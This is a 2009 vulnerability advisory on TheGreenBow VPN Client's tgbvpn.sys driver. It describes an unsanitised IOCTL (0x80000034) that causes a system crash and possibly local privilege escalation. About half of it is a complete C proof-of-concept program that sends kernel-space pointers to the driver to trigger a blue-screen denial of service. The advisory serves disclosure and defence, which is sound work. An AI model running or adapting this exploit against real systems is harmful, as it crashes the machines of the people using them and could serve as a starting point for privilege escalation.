TheGreenBow VPN Client tgbvpn.sys DoS and Potential Local

Original Advisory Link: https://www.evilfingers.com/advisory/Advisory/TheGreenBow_VPN_Client_tgbvpn.sys_DoS.php

++++++++++++++++++++++++++++++++++++++++++++++++++++
-----------[TheGreenBow VPN Client tgbvpn.sys DoS and Potential Local
Privilege Escalation]--------->

Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Website: http://evilcry.netsons.org
http://evilcodecave.blogspot.com
http://evilcodecave.wordpress.com
http://evilfingers.com
http://malwareAnalytics.com [under construction]

Release Date: 15/08/2009

±------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003 (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
(untested) Local Privilege Escalation

±------------------------------------------------+

--------------------------[Details]--------------->

TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.

Affected IOCTL is 0x80000034

Transfer Type: METHOD_BUFFERED

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
00000000 00000000 00000000 00000000 00000000 0x841d36a8

±-------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
*

• Author: Giuseppe 'Evilcry' Bonfa'
• E-Mail: evilcry {AT} gmail. {DOT} com
• Website: http://evilcry.netsons.org
• http://evilcodecave.blogspot.com
• http://evilcodecave.wordpress.com
• http://evilfingers.com
• http://malwareAnalytics.com [under construction]
  */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
HANDLE hDevice;
DWORD Junk;

system("cls");
printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");

hDevice = CreateFileA("\\\\.\\tgbvpn",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("\n Unable to Device Driver\n");
return EXIT_FAILURE;
}

DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);

return EXIT_SUCCESS;
}

±-------------------------------------------------------------------------------------------+

Regards,
Giuseppe 'Evilcry' Bonfa'
www.EvilFingers.com